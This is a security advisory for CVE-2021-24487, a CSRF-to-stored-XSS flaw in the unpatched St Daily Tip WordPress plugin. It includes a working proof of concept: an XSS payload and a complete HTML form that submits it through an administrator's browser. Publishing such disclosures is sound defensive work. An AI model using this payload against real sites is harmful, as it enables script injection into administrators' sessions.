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St Daily Tip <= 4.7 - CSRF to Stored Cross-Site Scripting

Description

The plugin does not have any CSRF check in place when saving its 'Default Text to Display if no tips' setting, and was also lacking sanitisation as well as escaping before outputting it the page. This could allow attacker to make logged in administrators set a malicious payload in it, leading to a Stored Cross-Site Scripting issue

Proof of Concept

Add the following payload in the 'Default Text to Display if no tips' setting of the plugin (/wp-admin/admin.php?page=daily-tip) and save: "><img src onerror=confirm(/XSS/)>

Via CSRF:

<html>
  <body>
    <form action="http://example.com/wp-admin/admin.php?page=daily-tip" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="default_tip" value='"><img src onerror=confirm(/XSS/)>' />
      <input type="hidden" name="default_text" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
 

Affects Plugins

st-daily-tip
No known fix - plugin closed

References

CVE
CVE-2021-24487

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Akash Rajendra Patil

Submitter

Akash Rajendra Patil

Submitter website
https://akashpatil.me
Submitter twitter
skypatil98
Verified

Yes

WPVDB ID
def352f8-1bbe-4263-ad1a-1486140269f4

Timeline

Publicly Published

2021-09-21 (about 9 months ago)

Added

2021-09-21 (about 9 months ago)

Last Updated

2022-04-09 (about 2 months ago)

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